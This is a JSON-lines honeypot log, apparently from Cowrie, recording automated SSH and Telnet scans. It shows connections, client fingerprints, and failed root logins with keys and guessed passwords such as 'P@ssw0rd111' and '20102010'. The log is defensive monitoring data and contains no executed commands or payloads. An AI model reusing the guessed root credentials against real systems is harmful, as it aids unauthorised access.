{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:d5:b9:d1:e9:36:4b:b4:7c:26:7c:1b:3a:bc:bd:ab","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIPo+i92ytNsXqQwd8J1TKSsDKtkGxpfsXu1li7UhmPy581oExCH8pXvAt7cOxlVYIe8kN1ZS45VxwvvdKlCRLDP+kYbHtmw8PjxNlqoTh7xBfS4Yfx9+Kja5A1yh4ogo6x9H4bjPeTNMN5oHWa+QQ59EhexoD/vRnGktQxY9GmdAAAAFQD8vXDdJqxC/22CFnAfzQMRToB0hQAAAIBaxAGHbwbNtMbwxBEt0QvpLOIcGHZU/TfHG6AxrIxgQhmT21ouKgb9rP8D9F3GrjoYcPPtujzufj69HubHrhZlR4JQK4ehePz3OSuFi7BoGh+zRY0nvYoj8yCmyx9qSjvoGHVTWe5/P9BnX4jZUGj7EDoNXDYdDa7RVpp7IbC89AAAAIBK9dCzAiWylgJsUIb5OTHE6p9KBOTpIr9ldL/41AK9Oiw/kWZD+5HMoHqytvx74PcmQaR02BYuexhMG1LBNgXuxyqDFyo1p5XvxCj/UQK57nvMg/vXRTTZeUk/5zsZ1HP/4P/W5BIYsdBvLx5nPoTuPSF3+48kGNpDtdIZ9WszSg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 9c:d5:b9:d1:e9:36:4b:b4:7c:26:7c:1b:3a:bc:bd:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.120664Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:d5:b9:d1:e9:36:4b:b4:7c:26:7c:1b:3a:bc:bd:ab","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIPo+i92ytNsXqQwd8J1TKSsDKtkGxpfsXu1li7UhmPy581oExCH8pXvAt7cOxlVYIe8kN1ZS45VxwvvdKlCRLDP+kYbHtmw8PjxNlqoTh7xBfS4Yfx9+Kja5A1yh4ogo6x9H4bjPeTNMN5oHWa+QQ59EhexoD/vRnGktQxY9GmdAAAAFQD8vXDdJqxC/22CFnAfzQMRToB0hQAAAIBaxAGHbwbNtMbwxBEt0QvpLOIcGHZU/TfHG6AxrIxgQhmT21ouKgb9rP8D9F3GrjoYcPPtujzufj69HubHrhZlR4JQK4ehePz3OSuFi7BoGh+zRY0nvYoj8yCmyx9qSjvoGHVTWe5/P9BnX4jZUGj7EDoNXDYdDa7RVpp7IbC89AAAAIBK9dCzAiWylgJsUIb5OTHE6p9KBOTpIr9ldL/41AK9Oiw/kWZD+5HMoHqytvx74PcmQaR02BYuexhMG1LBNgXuxyqDFyo1p5XvxCj/UQK57nvMg/vXRTTZeUk/5zsZ1HP/4P/W5BIYsdBvLx5nPoTuPSF3+48kGNpDtdIZ9WszSg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.124984Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:ff:39:90:c7:b4:d6:67:3d:80:c5:c8:c6:f6:0f:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNk79r4WHEf/xhbnpalvovA2pOLgBF61di2JavWz/zu95LicViXigugMNPRIr05u2YeFpkA4xXg5sFjoKbm0tZZFYcDeHU15f2K4IzSqVfxULQVgBFrBShXRi1OYn0fsZ0nMCOWHAG4wTE7qh24skrugeUHGj6M55y8olHg+E9FV4kCAqlqaDkp5h2iv1qWrY1CTAtiOi4+emtMZKSdnMBNxxUbOJSgL+FFwv18MYRJrLpS5BDid5bsAqDt5h6CrCCnCVr9orkxfwPq3KURX03WDQLYtyhJ6PQl1+cHFMOymHG5MDjOnVvm3gUsUbXIfSYNIThtmFBo9D1h3OKYQ6P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:ff:39:90:c7:b4:d6:67:3d:80:c5:c8:c6:f6:0f:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.210395Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:ff:39:90:c7:b4:d6:67:3d:80:c5:c8:c6:f6:0f:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNk79r4WHEf/xhbnpalvovA2pOLgBF61di2JavWz/zu95LicViXigugMNPRIr05u2YeFpkA4xXg5sFjoKbm0tZZFYcDeHU15f2K4IzSqVfxULQVgBFrBShXRi1OYn0fsZ0nMCOWHAG4wTE7qh24skrugeUHGj6M55y8olHg+E9FV4kCAqlqaDkp5h2iv1qWrY1CTAtiOi4+emtMZKSdnMBNxxUbOJSgL+FFwv18MYRJrLpS5BDid5bsAqDt5h6CrCCnCVr9orkxfwPq3KURX03WDQLYtyhJ6PQl1+cHFMOymHG5MDjOnVvm3gUsUbXIfSYNIThtmFBo9D1h3OKYQ6P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.214156Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:5f:6f:7e:cf:f9:dc:0d:bf:dd:91:e4:86:33:89:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpAFsImCLfUU/gRvnbpNrJbovhqiBCC6w5wMFz8/dK+458I7etPl3NHyog2jV0s3BjOvLrm2T9gOBQ5jmQ7kkXyVOOGiVRDa5wav/N/276t1lDoL6fjz/AIbeHIqDSChLbalw3CmIq0cZTVZvV7Pg8sqUrwe59KUnrDLOzi0Z7CqZ0APc7ztAfqyoLlnDfEFihk4Q6sLnLGnQb4Hs4JlJshGakbYroxCiw/7kjlhNIiIdIzr58FbREPwBmkYnk10vxaTxJR7/Vivpm/sbyG24UQZ/uewp9J43tVgWnfUixV/3NcQ3TuPrGaQhJHIEXU1dZ6GlvtnpYd9cXGjkn2rRd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:5f:6f:7e:cf:f9:dc:0d:bf:dd:91:e4:86:33:89:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.300885Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:5f:6f:7e:cf:f9:dc:0d:bf:dd:91:e4:86:33:89:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpAFsImCLfUU/gRvnbpNrJbovhqiBCC6w5wMFz8/dK+458I7etPl3NHyog2jV0s3BjOvLrm2T9gOBQ5jmQ7kkXyVOOGiVRDa5wav/N/276t1lDoL6fjz/AIbeHIqDSChLbalw3CmIq0cZTVZvV7Pg8sqUrwe59KUnrDLOzi0Z7CqZ0APc7ztAfqyoLlnDfEFihk4Q6sLnLGnQb4Hs4JlJshGakbYroxCiw/7kjlhNIiIdIzr58FbREPwBmkYnk10vxaTxJR7/Vivpm/sbyG24UQZ/uewp9J43tVgWnfUixV/3NcQ3TuPrGaQhJHIEXU1dZ6GlvtnpYd9cXGjkn2rRd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.304332Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:34.386657Z","src_ip":"87.121.69.138","session":"8976f6ef712b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60870,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e5a7a625172","protocol":"telnet","message":"New connection: 192.119.13.58:60870 (10.17.0.5:23) [session: 1e5a7a625172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:38.892017Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59056,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ef6d6600df7","protocol":"telnet","message":"New connection: 192.119.13.58:59056 (10.17.0.5:23) [session: 5ef6d6600df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:44.494967Z"}
{"eventid":"cowrie.session.closed","duration":0.0056607723236083984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:44.500490Z","src_ip":"192.119.13.58","session":"5ef6d6600df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.55198311805725,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:44.890919Z","src_ip":"192.119.13.58","session":"b4ba2eba988e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.528196811676025,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:56.387806Z","src_ip":"192.119.13.58","session":"f69160cd0ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.84632754325867,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:42:56.661487Z","src_ip":"192.119.13.58","session":"5f2586fd564f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.62265753746033,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:01.096559Z","src_ip":"192.119.13.58","session":"8f787a8bd0b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.350844621658325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:10.242712Z","src_ip":"192.119.13.58","session":"1e5a7a625172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34400,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a08386f1f2e","protocol":"telnet","message":"New connection: 192.119.13.58:34400 (10.17.0.5:23) [session: 7a08386f1f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:13.617699Z"}
{"eventid":"cowrie.session.closed","duration":51.06471037864685,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:14.205600Z","src_ip":"192.119.13.58","session":"bb56c66b3692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":60450,"dst_ip":"159.203.135.109","dst_port":22,"session":"891cd8a366af","protocol":"ssh","message":"New connection: 103.219.170.37:60450 (159.203.135.109:22) [session: 891cd8a366af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:23.501167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:23.506437Z","src_ip":"103.219.170.37","session":"891cd8a366af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:23.583357Z","src_ip":"103.219.170.37","session":"891cd8a366af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd111","message":"login attempt [root/P@ssw0rd111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:23.797642Z","src_ip":"103.219.170.37","session":"891cd8a366af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:24.875009Z","src_ip":"103.219.170.37","session":"891cd8a366af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59514,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1db424bc03","protocol":"ssh","message":"New connection: 103.77.242.62:59514 (159.203.135.109:22) [session: ec1db424bc03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:32.061402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:32.067324Z","src_ip":"103.77.242.62","session":"ec1db424bc03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:32.311834Z","src_ip":"103.77.242.62","session":"ec1db424bc03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhjkbr","message":"login attempt [root/rhjkbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:33.045072Z","src_ip":"103.77.242.62","session":"ec1db424bc03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:34.295889Z","src_ip":"103.77.242.62","session":"ec1db424bc03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33250,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d6bf57a48e7","protocol":"telnet","message":"New connection: 192.119.13.58:33250 (10.17.0.5:23) [session: 8d6bf57a48e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:34.463330Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":40882,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5b2266aa7fb","protocol":"ssh","message":"New connection: 147.45.197.250:40882 (10.17.0.5:22) [session: b5b2266aa7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:35.392054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:35.397460Z","src_ip":"147.45.197.250","session":"b5b2266aa7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:35.530582Z","src_ip":"147.45.197.250","session":"b5b2266aa7fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20102010","message":"login attempt [root/20102010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:35.927638Z","src_ip":"147.45.197.250","session":"b5b2266aa7fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:37.071141Z","src_ip":"147.45.197.250","session":"b5b2266aa7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33388,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e9acebae167","protocol":"telnet","message":"New connection: 192.119.13.58:33388 (10.17.0.5:23) [session: 7e9acebae167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:42.476081Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54868,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a1887b8cb92","protocol":"ssh","message":"New connection: 103.153.68.219:54868 (10.17.0.5:22) [session: 7a1887b8cb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:43.168727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:43.172941Z","src_ip":"103.153.68.219","session":"7a1887b8cb92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:43.419299Z","src_ip":"103.153.68.219","session":"7a1887b8cb92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:44.149809Z","src_ip":"103.153.68.219","session":"7a1887b8cb92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42342,"dst_ip":"10.17.0.5","dst_port":23,"session":"c068de8f13ca","protocol":"telnet","message":"New connection: 192.119.13.58:42342 (10.17.0.5:23) [session: c068de8f13ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:44.528821Z"}
{"eventid":"cowrie.session.closed","duration":31.296916484832764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:44.914488Z","src_ip":"192.119.13.58","session":"7a08386f1f2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:45.395867Z","src_ip":"103.153.68.219","session":"7a1887b8cb92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45842,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3af64483ab","protocol":"telnet","message":"New connection: 192.119.13.58:45842 (10.17.0.5:23) [session: 0e3af64483ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:43:56.838410Z"}
{"eventid":"cowrie.session.closed","duration":40.50801944732666,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:14.971255Z","src_ip":"192.119.13.58","session":"8d6bf57a48e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19847345352173,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:16.727192Z","src_ip":"192.119.13.58","session":"c068de8f13ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88180136680603,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:17.357794Z","src_ip":"192.119.13.58","session":"7e9acebae167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1218f2440077","protocol":"telnet","message":"New connection: 192.119.13.58:60706 (10.17.0.5:23) [session: 1218f2440077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:23.775122Z"}
{"eventid":"cowrie.session.closed","duration":38.669167280197144,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:35.507472Z","src_ip":"192.119.13.58","session":"0e3af64483ab","protocol":"telnet"}
